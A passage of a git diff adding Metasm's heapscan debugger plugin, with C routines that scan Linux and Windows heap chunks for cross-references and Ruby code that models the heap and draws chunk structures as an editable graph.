psz) != 0 || (sz & 1) != 1) + return 4; + + /* re-walk the heap, simpler than iterating over @chunks */ + VALUE ptr = 0; + VALUE ptr0, ptrl; + for (;;) { + clen = sz & -8; + ptr0 = ptr+2; + ptrl = clen/psz-1; + ptr += clen/psz; + if (ptr >= len/psz || clen == 0) + break; + + sz = heap_entry(heap, ptr+1, psz); + if ((sz & 1) && + ((rb_hash_aref(chunks, rb_uint2inum(base))|4) != 4)) { + VALUE tabto = 0; + VALUE tabfrom; + while (ptrl--) { + VALUE p = heap_entry(heap, ptr0++, psz); + //if (p == base) // ignore self-references + // continue; + if ((rb_hash_aref(chunks, rb_uint2inum(p))|4) != 4) { + if (!tabto) { + tabto = rb_ary_new(); + rb_hash_aset(xrchunksto, rb_uint2inum(base), tabto); + } + rb_ary_push(tabto, rb_uint2inum(p)); + + tabfrom = rb_hash_aref(xrchunksfrom, rb_uint2inum(p)); + if ((tabfrom|4) == 4) { + tabfrom = rb_ary_new(); + rb_hash_aset(xrchunksfrom, rb_uint2inum(p), tabfrom); + } + rb_ary_push(tabfrom, rb_uint2inum(base)); + } + } + } + base += clen; + } + return 4; +} + + + +static void do_init_once(void) +{ + const_LinuxHeap = rb_const_get(*rb_cObject, rb_intern("Metasm")); + const_LinuxHeap = rb_const_get(const_LinuxHeap, rb_intern("LinuxHeap")); + rb_define_method(const_LinuxHeap, "scan_heap", m_LinuxHeap23scan_heap, 3); + rb_define_method(const_LinuxHeap, "scan_heap_xr", m_LinuxHeap23scan_heap_xr, 2); +} + + + +int Init_compiled_heapscan_lin __attribute__((export))(void) +{ + do_init_once(); + return 0; +} diff --git a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c new file mode 100644 index 0000000000..f29c24ec8e --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c @@ -0,0 +1,128 @@ +typedef uintptr_t VALUE; +static VALUE const_WindowsHeap; +VALUE rb_ary_new(void); +VALUE rb_ary_push(VALUE, VALUE); +extern VALUE *rb_cObject __attribute__((import)); +VALUE rb_const_get(VALUE, VALUE); +void rb_define_method(VALUE, char*, VALUE(*)(), int); +VALUE rb_funcall(VALUE recv, unsigned int id, int nargs, ...); +VALUE rb_intern(char*); +VALUE rb_iv_get(VALUE, char*); +VALUE rb_hash_aset(VALUE, VALUE, VALUE); +VALUE rb_hash_aref(VALUE, VALUE); +VALUE rb_uint2inum(VALUE); +VALUE rb_num2ulong(VALUE); +char *rb_string_value_ptr(VALUE*); +VALUE rb_gc_enable(void); +VALUE rb_gc_disable(void); + +#include "winheap.h" + +#define INT2FIX(i) (((i) << 1) | 1) + +static VALUE m_WindowsHeap23scan_heap_segment(VALUE self, VALUE vfirst, VALUE vlen) +{ + char *heapcpy; + struct _HEAP_ENTRY *he; + VALUE chunks; + VALUE first = rb_num2ulong(vfirst); + VALUE len = vlen >> 1; + VALUE off; + VALUE page; + VALUE sz; + + chunks = rb_iv_get(self, "@chunks"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vfirst, INT2FIX(len)); + heapcpy = rb_string_value_ptr(&page); + + rb_gc_disable(); + off = 0; + while (off < len) { + he = heapcpy + off; + if (he->Flags & 1) { + sz = (VALUE)he->Size*8; + if (sz > he->UnusedBytes) + sz -= he->UnusedBytes; + else + sz = 0; + rb_hash_aset(chunks, rb_uint2inum(first+off+sizeof(*he)), INT2FIX(sz)); + } + off += he->Size*8; + } + rb_gc_enable(); + + return 4; +} + +static VALUE m_WindowsHeap23scan_heap_segment_xr(VALUE self, VALUE vfirst, VALUE vlen) +{ + char *heapcpy; + struct _HEAP_ENTRY *he; + VALUE chunks; + VALUE first = rb_num2ulong(vfirst); + VALUE len = vlen >> 1; + VALUE off; + VALUE page; + VALUE xrchunksto = rb_iv_get(self, "@xrchunksto"); + VALUE xrchunksfrom = rb_iv_get(self, "@xrchunksfrom"); + + chunks = rb_iv_get(self, "@chunks"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vfirst, INT2FIX(len)); + heapcpy = rb_string_value_ptr(&page); + + rb_gc_disable(); + off = 0; + VALUE *ptr0, base, cklen; + while (off < len) { + he = heapcpy + off; + // address of the chunk + base = first + off + sizeof(*he); + if ((he->Flags & 1) && + (((cklen = rb_hash_aref(chunks, rb_uint2inum(base)))|4) != 4)) { + cklen /= 2*sizeof(void*); // /2 == FIX2INT + // pointer to the data for the chunk in our copy of the heap from pagecache + ptr0 = (VALUE*)(heapcpy + off + sizeof(*he)); + VALUE tabto = 0; + VALUE tabfrom; + while (cklen--) { + VALUE p = *ptr0++; + //if (p == base) // ignore self-references + // continue; + if ((rb_hash_aref(chunks, rb_uint2inum(p))|4) != 4) { + if (!tabto) { + tabto = rb_ary_new(); + rb_hash_aset(xrchunksto, rb_uint2inum(base), tabto); + } + rb_ary_push(tabto, rb_uint2inum(p)); + + tabfrom = rb_hash_aref(xrchunksfrom, rb_uint2inum(p)); + if ((tabfrom|4) == 4) { + tabfrom = rb_ary_new(); + rb_hash_aset(xrchunksfrom, rb_uint2inum(p), tabfrom); + } + rb_ary_push(tabfrom, rb_uint2inum(base)); + } + } + } + if (!he->Size) + break; + off += he->Size*8; + } + rb_gc_enable(); + + return 4; +} + +static void do_init_once(void) +{ + const_WindowsHeap = rb_const_get(*rb_cObject, rb_intern("Metasm")); + const_WindowsHeap = rb_const_get(const_WindowsHeap, rb_intern("WindowsHeap")); + rb_define_method(const_WindowsHeap, "scan_heap_segment", m_WindowsHeap23scan_heap_segment, 2); + rb_define_method(const_WindowsHeap, "scan_heap_segment_xr", m_WindowsHeap23scan_heap_segment_xr, 2); +} + +int Init_compiled_heapscan_win __attribute__((export))(void) +{ + do_init_once(); + return 0; +} diff --git a/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb b/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb new file mode 100644 index 0000000000..9786fe5df2 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb @@ -0,0 +1,616 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +module ::Metasm +module Gui +class GraphHeapWidget < GraphViewWidget + attr_accessor :heap, :addr_struct, :snapped + # addr_struct = 0x234 => AllocCStruct + + def set_color_arrow(b1, b2) + if b1 == @caret_box or b2 == @caret_box + draw_color :arrow_hl + else + draw_color :arrow_cond + end + end + + def setup_contextmenu(b, m) + addsubmenu(m, '_follow pointer') { + next if not lm = b[:line_member][@caret_y] + addr = b[:line_struct][@caret_y][lm] + next if not @heap.chunks[addr] + if lm.kind_of?(::Integer) + t = b[:line_struct][@caret_y].struct.type + else + t = lm.type + end + if t.pointer? and t.pointed.untypedef.kind_of? C::Union + @heap.chunk_struct[addr] ||= t.pointed.untypedef + end + st = @heap.chunk_struct[addr] || create_struct(addr) + ed = @dasm.get_edata_at(addr) + @addr_struct[addr] = @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) + gui_update + } + addsubmenu(m, '_hide box') { + @selected_boxes.each { |sb| + @addr_struct.delete sb.id if @addr_struct.length > 1 + } + @curcontext.root_addrs = struct_find_roots(@addr_struct.keys.first) + gui_update + } + super(b, m) + end + + def keypress(k) + case k + when ?u + # update display (refresh struct member values) + @parent_widget.parent_widget.console.commands['refresh'][] + gui_update + when ?t + # change struct field type + if @selected_boxes.length > 1 + # mass-retype chunks + st = @addr_struct[@selected_boxes[0].id].struct + inputbox("replacement struct for selected chunks", :text => st.name) { |n| + next if not nst = @heap.cp.toplevel.struct[n] + @selected_boxes.each { |sb| + as = @addr_struct[sb.id] + @heap.chunk_struct[sb.id] = nst + @addr_struct[sb.id] = @heap.cp.decode_c_struct(n, as.str, as.stroff) + } + gui_update + } + elsif b = @caret_box + if @caret_y == 0 + as = @addr_struct[b.id] + st = as.struct + inputbox("replacement struct for #{st.name}", :text => st.name) { |n| + next if not nst = @heap.cp.toplevel.struct[n] + @heap.chunk_struct[b.id] = nst + @addr_struct[b.id] = @heap.cp.decode_c_struct(n, as.str, as.stroff) + gui_update + } + elsif m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + # XXX Array, need to find the outer struct + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("new type for #{m.name}", :text => m.dump_def(@heap.cp.toplevel)[0].join(' ')) { |nn| + nil while @heap.cp.readtok + @heap.cp.lexer.feed nn + if not v = C::Variable.parse_type(@heap.cp, @heap.cp.toplevel, true) + nil while @heap.cp.readtok + raise 'bad type' + end + v.parse_declarator(@heap.cp, @heap.cp.toplevel) + nt = v.type + nsz = @heap.cp.sizeof(nt) + osz = @heap.cp.sizeof(m) + if nsz > osz and st.kind_of?(C::Struct) + idx = st.members.index(m) + # eat next members + while nsz > osz + break if idx+1 >= st.members.length + sz = @heap.cp.sizeof(st.members.delete_at(idx+1)) + osz += sz + end + end + if nsz < osz and st.kind_of?(C::Struct) + idx = st.members.index(m) + pos = st.offsetof(@heap.cp, m) + # fill gap with bytes + idx += 1 + while nsz < osz + st.members[idx, 0] = [C::Variable.new(('unk_%x' % (pos+nsz)), C::BaseType.new(:__int8, :unsigned))] + idx += 1 + nsz += 1 + end + end + m.type = nt + st.update_member_cache(@heap.cp) + gui_update + } + + end + end + when ?n + # rename struct field + if b = @caret_box + if @caret_y == 0 + st = @addr_struct[b.id].struct + inputbox("new name for #{st.name}", :text => st.name) { |nn| + raise "struct #{nn} already exists (try 't')" if @heap.cp.toplevel.struct[nn] + @heap.cp.toplevel.struct[nn] = @heap.cp.toplevel.struct.delete(st.name) + st.name = nn + gui_update + } + elsif m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("new name for #{m.name}", :text => m.name) { |nn| + m.name = nn + st.update_member_cache(@heap.cp) + gui_update + } + end + end + when ?e + # edit struct field value under the cursor + if b = @caret_box + # TODO b[:struct][line], b.[:member][line] (int for Arrays) + st = b[:line_struct][@caret_y] + mb = b[:line_member][@caret_y] + if st and mb + if mb.kind_of?(C::Variable) and mb.type.kind_of?(C::Array) and mb.type.type.kind_of?(C::BaseType) and mb.type.type.name == :char + defval = st[mb].to_array.pack('C*').gsub(/\0*$/, '').gsub(/[^\x20-\x7e]/, '.') + string = true + else + defval = st[mb] + string = false + end + inputbox("new value for #{mb.respond_to?(:name) ? mb.name : mb}", :text => defval.to_s) { |nn| + if string + am = st[mb] + (nn.unpack('C*') + [0]).each_with_index { |b_, i| am[i] = b_ } + else + st[mb] = Expression.parse_string(nn).reduce + end + gui_update + } + end + end + when ?x + # show heap xrefs to the hilighted chunk + if b = @caret_box + list = [['address', 'size']] + @heap.xrchunksfrom[b.id].to_a.each { |a| + list << [Expression[a], Expression[@heap.chunks[a]]] + } + if list.length == 1 + messagebox "no xref to #{Expression[b.id]}" + else + listwindow("heap xrefs to #{Expression[b.id]}", list) { |i| @parent_widget.focus_addr(i[0], nil, true) } + end + end + when ?I + # insert new field in struct + if b = @caret_box + if m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + # XXX Array, need to find the outer struct + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("new type to insert before #{m.name}", :text => m.dump_def(@heap.cp.toplevel)[0].join(' ')) { |nn| + nil while @heap.cp.readtok + @heap.cp.lexer.feed nn + if not v = C::Variable.parse_type(@heap.cp, @heap.cp.toplevel, true) + nil while @heap.cp.readtok + raise 'bad type' + end + v.parse_declarator(@heap.cp, @heap.cp.toplevel) + nt = v.type + idx = st.members.index(m) + pos = st.offsetof(@heap.cp, m) + name = oname = v.name || ('unk_%x_new' % pos) + cntr = 0 + while st.members.find { |m_| m_.name == name } + name = oname + "_#{cntr+=1}" + end + st.members[idx, 0] = [C::Variable.new(name, nt)] + st.update_member_cache(@heap.cp) + gui_update + } + + end + end + when ?S + # delete structure field + if b = @caret_box + if m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + # XXX Array, need to find the outer struct + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("delete #{m.name} ?") { |nn| + idx = st.members.index(m) + st.members.delete_at(idx) + st.update_member_cache(@heap.cp) + gui_update + } + + end + end + when ?+ + # append blocks linked from the currently shown blocks to the display + @addr_struct.keys.each { |ak| + @heap.xrchunksto[ak].to_a.each { |nt| + next if @addr_struct[nt] + # TODO check if the pointer is a some_struct* + st = @heap.chunk_struct[nt] || create_struct(nt) + ed = @dasm.get_edata_at(nt) + @addr_struct[nt] = @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) + } + } + gui_update + when ?- + # remove graph leaves in an attempt to undo ?+ + unk = @addr_struct.keys.find_all { |ak| + (@heap.xrchunksto[ak].to_a & @addr_struct.keys).empty? + } + unk.each { |ak| @addr_struct.delete ak if @addr_struct.length > 1 } + gui_update + else return super(k) + end + true + end + + # create the graph objects in ctx + def build_ctx(ctx) + # create boxes + todo = ctx.root_addrs.dup & @addr_struct.keys + todo << @addr_struct.keys.first if todo.empty? + done = [] + while a = todo.shift + next if done.include? a + done << a + ctx.new_box a, :line_text_col => [], :line_address => [], :line_struct => [], :line_member => [] + todo.concat @heap.xrchunksto[a].to_a & @addr_struct.keys + end + + # link boxes + if (@heap.xrchunksto[ctx.box.first.id].to_a & @addr_struct.keys).length == ctx.box.length - 1 + ot = ctx.box[0].id + ctx.box[1..-1].each { |b_| + ctx.link_boxes(ot, b_.id) + } + else + ctx.box.each { |b| + @heap.xrchunksto[b.id].to_a.each { |t| + ctx.link_boxes(b.id, t) if @addr_struct[t] + } + } + end + + if snapped + @datadiff = {} + end + + # calc box dimensions/text + ctx.box.each { |b| + colstr = [] + curaddr = b.id + curst = @addr_struct[b.id] + curmb = nil + margin = '' + start_addr = curaddr + if snapped + ghosts = snapped[curaddr] + end + line = 0 + render = lambda { |str, col| colstr << [str, col] } + nl = lambda { + b[:line_address][line] = curaddr + b[:line_text_col][line] = colstr + b[:line_struct][line] = curst + b[:line_member][line] = curmb + colstr = [] + line += 1 + } + render_val = lambda { |v| + if v.kind_of?(::Integer) + if v > 0x100 + render['0x%X' % v, :text] + elsif v < -0x100 + render['-0x%X' % -v, :text] + else + render[v.to_s, :text] + end + elsif not v + render['NULL', :text] + else + render[v.to_s, :text] + end + } + render_st = nil + render_st_ar = lambda { |ast, m| + elemt = m.type.untypedef.type.untypedef + if elemt.kind_of?(C::BaseType) and elemt.name == :char + render[margin, :text] + render["#{m.type.type.to_s[1...-1]} #{m.name}[#{m.type.length}] = #{ast[m].to_array.pack('C*').sub(/\0.*$/m, '').inspect}", :text] + nl[] + curaddr += ast.cp.sizeof(m) + else + t = m.type.type.to_s[1...-1] + tsz = ast.cp.sizeof(m.type.type) + fust = curst + fumb = curmb + curst = ast[m] + ast[m].to_array.each_with_index { |v, i| + curmb = i + render[margin, :text] + if elemt.kind_of?(C::Union) + if m.type.untypedef.type.kind_of?(C::Union) + render[elemt.kind_of?(C::Struct) ? 'struct ' : 'union ', :text] + render["#{elemt.name} ", :text] if elemt.name + else # typedef + render["#{elemt.to_s[1...-1]} ", :text] + end + render_st[v] + render[" #{m.name}[#{i}]", :text] + else + render["#{t} #{m.name}[#{i}] = ", :text] + render_val[v] + @datadiff[curaddr] = true if ghosts and ghosts.all? { |g| g[curaddr-start_addr, tsz] == ghosts[0][curaddr-start_addr, tsz] } and ghosts[0][curaddr-start_addr, tsz] != ast.str[curaddr, tsz].to_str + end + render[';', :text] + nl[] + curaddr += tsz + } + curst = fust + curmb = fumb + end + } + render_st = lambda { |ast| + st_addr = curaddr + oldst = curst + oldmb = curmb + oldmargin = margin + render['{', :text] + nl[] + margin += ' ' + curst = ast + ast.struct.members.each { |m| + curmb = m + curaddr = st_addr + ast.struct.offsetof(@heap.cp, m) + + if bo = ast.struct.bitoffsetof(@heap.cp, m) + # float curaddr to make ghost hilight work on bitfields + curaddr += (1+bo[0])/1000.0 + end + + if m.type.untypedef.kind_of?(C::Array) + render_st_ar[ast, m] + elsif m.type.untypedef.kind_of?(C::Union) + render[margin, :text] + if m.type.kind_of?(C::Union) + render[m.type.kind_of?(C::Struct) ? 'struct ' : 'union ', :text] + render["#{m.type.name} ", :text] if m.type.name + else # typedef + render["#{m.type.to_s[1...-1]} ", :text] + end + oca = curaddr + render_st[ast[m]] + nca = curaddr + curaddr = oca + render[" #{m.name if m.name};", :text] + nl[] + curaddr = nca + else + render[margin, :text] + render["#{m.type.to_s[1...-1]} ", :text] + render["#{m.name} = ", :text] + render_val[ast[m]] + tsz = ast.cp.sizeof(m) + # TODO bit-level multighosting + if ghosts and ghosts.all? { |g| g[curaddr.to_i-start_addr, tsz] == ghosts[0][curaddr.to_i-start_addr, tsz] } and ghosts[0][curaddr.to_i-start_addr, tsz] != ast.str[curaddr.to_i, tsz].to_str + if bo + ft = C::BaseType.new((bo[0] + bo[1] > 32) ? :__int64 : :__int32) + v1 = @heap.cp.decode_c_value(ghosts[0][curaddr.to_i-start_addr, tsz], ft, 0) + v2 = @heap.cp.decode_c_value(ast.str[curaddr.to_i, tsz], ft, 0) + @datadiff[curaddr] = true if (v1 >> bo[0]) & ((1 << bo[1])-1) != (v2 >> bo[0]) & ((1 << bo[1])-1) + else + @datadiff[curaddr] = true + end + end + render[';', :text] + + if m.type.kind_of?(C::Pointer) and m.type.type.kind_of?(C::BaseType) and m.type.type.name == :char + if s = @dasm.decode_strz(ast[m], 32) + render[" // #{s.inspect}", :comment] + end + end + nl[] + curaddr += tsz + curaddr = curaddr.to_i if bo + end + } + margin = oldmargin + curst = oldst + curmb = oldmb + render[margin, :text] + render['}', :text] + } + ast = @addr_struct[curaddr] + render["struct #{ast.struct.name} *#{'0x%X' % curaddr} = ", :text] + render_st[ast] + render[';', :text] + nl[] + + b.w = b[:line_text_col].map { |strc| strc.map { |s, c| s }.join.length }.max.to_i * @font_width + 2 + b.w += 1 if b.w % 2 == 0 + b.h = line * @font_height + } + end + + def struct_find_roots(addr) + addr = @addr_struct.keys.find { |a| addr >= a and addr < a+@addr_struct[a].sizeof } if not @addr_struct[addr] + + todo = [addr] + done = [] + roots = [] + default_root = nil + while a = todo.shift + if done.include?(a) # cycle + default_root ||= a + next + end + done << a + newf = @heap.xrchunksfrom[a].to_a & @addr_struct.keys + if newf.empty? + roots << a + else + todo.concat newf + end + end + roots << default_root if roots.empty? and default_root + + roots + end + + def focus_addr(addr, fu=nil) + return if @parent_widget and not addr = @parent_widget.normalize(addr) + + # move window / change curcontext + if b = @curcontext.box.find { |b_| b_[:line_address].index(addr) } + @caret_box, @caret_x, @caret_y = b, 0, b[:line_address].rindex(addr) + @curcontext.view_x += (width/2 / @zoom - width/2) + @curcontext.view_y += (height/2 / @zoom - height/2) + @zoom = 1.0 + + focus_xy(b.x, b.y + @caret_y*@font_height) + update_caret + elsif addr_struct and (@addr_struct[addr] or @addr_struct.find { |a, s| addr >= a and addr < a+s.sizeof }) + @curcontext = Graph.new 'testic' + @curcontext.root_addrs = struct_find_roots(addr) + @want_focus_addr = addr + gui_update + elsif @heap.chunks[addr] + @want_focus_addr = addr + do_focus_addr(addr) + else + return + end + true + end + + def do_focus_addr(addr) + st = @heap.chunk_struct[addr] || create_struct(addr) + + ed = @dasm.get_edata_at(addr) + @addr_struct = { addr => @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) } + gui_update + end + + # create the struct chunk_, register it in @heap.chunk_struct + def create_struct(addr) + raise "no chunk here" if not @heap.chunks[addr] + + ptsz = @dasm.cpu.size/8 + + # check if this is a c++ object with RTTI info + vptr = @dasm.decode_dword(addr) + rtti = @dasm.decode_dword(vptr-ptsz) + case OS.shortname + when 'winos' + typeinfo = @dasm.decode_dword(rtti+3*ptsz) if rtti + if typeinfo and s = @dasm.decode_strz(typeinfo+3*ptsz) + rtti_name = s[/^(.*)@@$/, 1] # remove trailing @@ + end + when 'linos' + typeinfo = @dasm.decode_dword(rtti+ptsz) if rtti + if typeinfo and s = @dasm.decode_strz(typeinfo) + rtti_name = s[/^[0-9]+(.*)$/, 1] # remove leading number + end + end + + if rtti_name and st = @heap.cp.toplevel.struct[rtti_name] + return @heap.chunk_struct[addr] = st + end + + st = C::Struct.new + st.name = rtti_name || "chunk_#{'%x' % addr}" + st.members = [] + li = 0 + (@heap.chunks[addr] / ptsz).times { |i| + n = 'unk_%x' % (ptsz*i) + v = @dasm.decode_dword(addr+ptsz*i) + if i == 0 and rtti_name + t = C::Pointer.new(C::Pointer.new(C::BaseType.new(:void))) + n = 'vtable' + elsif @heap.chunks[v] + t = C::Pointer.new(C::BaseType.new(:void)) + else + t = C::BaseType.new("__int#{ptsz*8}".to_sym, :unsigned) + end + st.members << C::Variable.new(n, t) + li = i+1 + } + (@heap.chunks[addr] % ptsz).times { |i| + n = 'unk_%x' % (ptsz*li+i) + t = C::BaseType.new(:char, :unsigned) + st.members << C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] = st + @heap.chunk_struct[addr] = st + end + + def snap + if not snapped + @datadiff = {} + ocb = @parent_widget.bg_color_callback + @parent_widget.bg_color_callback = lambda { |a| + if @datadiff[a] + 'f88' + elsif ocb + ocb[a] + end + } + end + @snapped = {} + @addr_struct.each { |a, ast| + @snapped[a] = [ast.str[ast.stroff, ast.sizeof].to_str] + } + end + + def snap_add + return snap if not snapped + @addr_struct.each { |a, ast| + (@snapped[a] ||= []) << ast.str[ast.stroff, ast.sizeof].to_str + } + end + + def get_cursor_pos + [super, addr_struct] + end + + def set_cursor_pos(p) + s, @addr_struct = p + super(s) + end +end +end +end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb b/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb new file mode 100644 index 0000000000..884ff79b87 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb @@ -0,0 +1,709 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +module Metasm +class Heap + attr_accessor :vm, :range, :ptsz + attr_accessor :cp + # hash chunk userdata pointer -> chunk userdata size + attr_accessor :chunks + # hash chunk user pointer -> C::Struct + attr_accessor :chunk_struct + # the chunk graph: chunk pointer -> [array of chunks addrs pointed] + attr_accessor :xrchunksto, :xrchunksfrom + + def initialize(dbg) + @dbg = dbg + @dbg.pid_stuff_list << :heap + @dbg.heap = self + @range = {} + @dwcache = {} + # userdata_ptr => len + @chunks = {} + @xrchunksto = {} + @xrchunksfrom = {} + @ptsz = dbg.cpu.size/8 + # ptr => C::Struct + @chunk_struct = {} + end + + def pagecache(base, len) + @dbg.read_mapped_range(base, len) + end + + def dwcache(base, len) + @dwcache[[base, len]] ||= pagecache(base, len).unpack(@ptsz == 4 ? 'L*' : 'Q*') + end + + # return the array of dwords in the chunk + def chunkdw(ptr, len=@chunks[ptr]) + if base = find_range(ptr) + dwcache(base, @range[base])[(ptr-base)/@ptsz, len/@ptsz] + end + end + + # returns the list of chunks, sorted + def chunklist + @chunklist ||= @chunks.keys.sort + end + + # dichotomic search of the chunk containing ptr + # len = hash ptr => length + # list = list of hash keys sorted + def find_elem(ptr, len, list=nil) + return ptr if len[ptr] + + list ||= len.keys.sort + + if list.length < 16 + return list.find { |p| p <= ptr and p + len[p] > ptr } + end + + window = list + while window and not window.empty? + i = window.length/2 + wi = window[i] + if ptr < wi + window = window[0, i] + elsif ptr < wi + len[wi] + return wi + else + window = window[i+1, i] + end + end + end + + # find the chunk encompassing ptr + def find_chunk(ptr) + find_elem(ptr, @chunks, chunklist) + end + + def find_range(ptr) + @range_keys ||= @range.keys.sort + find_elem(ptr, @range, @range_keys) + end + + # { chunk size => [list of chunk addrs] } + attr_accessor :buckets + def bucketize + @buckets = {} + chunklist.each { |a| + (@buckets[@chunks[a]] ||= []) << a + } + end + + # find the kernels of the graph (strongly connected components) + # must be called after scan_xr + # also find the graph diameter + attr_accessor :kernels, :maxpath + def find_kernels(adj = @xrchunksto) + @maxpath = [] + kernels = {} + adj.keys.sort.each { |ptr| + next if kernels[ptr] + paths = [[ptr]] + while path = paths.pop + next if not l = @xrchunksfrom[path.first] + l.each { |pl| + next if kernels[pl] + next if not adj[pl] + if path.include?(pl) + kernels[pl] = true + else + paths << [pl, *path] + end + } + @maxpath = paths.last if paths.last and paths.last.length > @maxpath.length + end + } + if @maxpath.first and np = (adj[@maxpath.last] - @maxpath).first + @maxpath << np + end + @kernels = [] + while k = kernels.index(true) + curk = reachfrom(k, adj).find_all { |ok| + true == reachfrom(ok, adj) { |tk| + break true if tk == k + } + } + @kernels << curk + curk.each { |ka| kernels.delete ka } + end + end + + attr_accessor :roots + # find the root nodes that allow acces to most other nodes + # { root => [reachable nodes] } + # does not include single nodes (@chunks.keys - @xrchunksfrom.keys) + def find_roots(adj=@xrchunksto) + @roots = {} + adj.keys.sort.each { |r| + if not @roots[r] + l = reachfrom(r, adj, @roots) + l.each { |t| @roots[t] = true if adj[t] } # may include r !, also dont mark leaves + @roots[r] = l + end + } + @roots.delete_if { |k, v| v == true } + end + + def reachfrom(p, adj = @xrchunksto, roots={}) + return roots[p] if roots[p].kind_of? Array + hash = {} + todo = [p] + while p = todo.pop + if to = roots[p] || adj[p] and to.kind_of? Array + to.each { |tk| + if not hash[tk] + hash[tk] = true + todo << tk + yield tk if block_given? + end + } + end + end + hash.keys + end + + # create a subset of xrchunksto from one point + def graph_from(p, adj = @xrchunksto) + hash = {} + todo = [p] + while p = todo.pop + next if hash[p] + if adj[p] + hash[p] = adj[p] + todo.concat hash[p] + end + end + hash + end + + # dump the whole graph in a dot file + def dump_graph(fname='graph.gv', graph=@xrchunksto) + File.open(fname, 'w') { |fd| + fd.puts "digraph foo {" + graph.each { |b, l| + fd.puts l.map { |e| '"%x" -> "%x";' % [b, e] } + } + fd.puts "}" + } + end + + # chunk ptr => { dwindex => [list of ptrs] } + attr_accessor :linkedlists, :alllists + def find_linkedlists + @linkedlists = {} + @alllists = [] + @buckets.sort.each { |sz, lst| + #puts "sz #{sz} #{lst.length}" + lst.each { |ptr| + next if not l = @xrchunksto[ptr] + next if not l.find { |tg| @chunks[tg] == sz } + dw = chunkdw(ptr) + dw.length.times { |dwoff| + next if @linkedlists[ptr] and @linkedlists[ptr][dwoff] + tg = dw[dwoff] + next if @chunks[tg] != sz + check_linkedlist(ptr, dwoff) + } + } + } + end + + def check_linkedlist(ptr, dwoff) + psz = @chunks[ptr] + fwd = ptr + lst = [fwd] + base = find_range(fwd) + loop do + if not base or base > fwd or base + @range[base] <= fwd + base = find_range(fwd) + end + break if not base + fwd = dwcache(base, @range[base])[(fwd-base)/@ptsz + dwoff] + break if fwd == 0 + return if not cl = @chunks[fwd] # XXX root/tail may be in .data + return if cl != psz + break if lst.include? fwd + lst << fwd + end + fwd = ptr + while pv = @xrchunksfrom[fwd] + fwd = pv.find { |p| + next if @chunks[p] != psz + if not base or base > p or base + @range[base] <= p + base = find_range(fwd) + end + dwcache(base, @range[base])[(p-base)/@ptsz + dwoff] == fwd + } + break if not fwd + break if lst.include? fwd + lst.unshift fwd + end + if lst.length > 3 + lst.each { |p| (@linkedlists[p] ||= {})[dwoff] = lst } + @alllists << lst + end + end + + # { chunkinarray => { rootptr => [chunks] } } + attr_accessor :arrays, :allarrays + def find_arrays + @arrays = {} + @allarrays = [] + @buckets.sort.each { |sz, lst| + next if sz < @ptsz*6 + lst.each { |ptr| + next if not to = @xrchunksto[ptr] + # a table must have at least half its storage space filled with ptrs + next if to.length <= sz/@ptsz/2 + # also, ptrs must point to same-size stuff + lsz = Hash.new(0) + to.each { |t| lsz[@chunks[t]] += 1 } + cnt = lsz.values.max + next if cnt <= sz/@ptsz/2 + tgsz = lsz.index(cnt) + ar = to.find_all { |t| @chunks[t] == tgsz }.uniq + next if ar.length <= sz/@ptsz/2 + ar.each { |p| (@arrays[p] ||= {})[ptr] = ar } + @allarrays << ar + } + } + end +end + +class LinuxHeap < Heap + # find all chunks in the memory address space + attr_accessor :mmaps + + def scan_chunks + @chunks = {} + each_heap { |a, l, ar| + scan_heap(a, l, ar) + } + @mmapchunks = [] + @mmaps.each { |a, l| + ll = scan_mmap(a, l) || 4096 + a += ll + l -= ll + } + end + + # scan all chunks for cross-references (one chunk contaning a pointer to some other chunk) + def scan_chunks_xr + @xrchunksto = {} + @xrchunksfrom = {} + each_heap { |a, l, ar| + scan_heap_xr(a, l) + } + 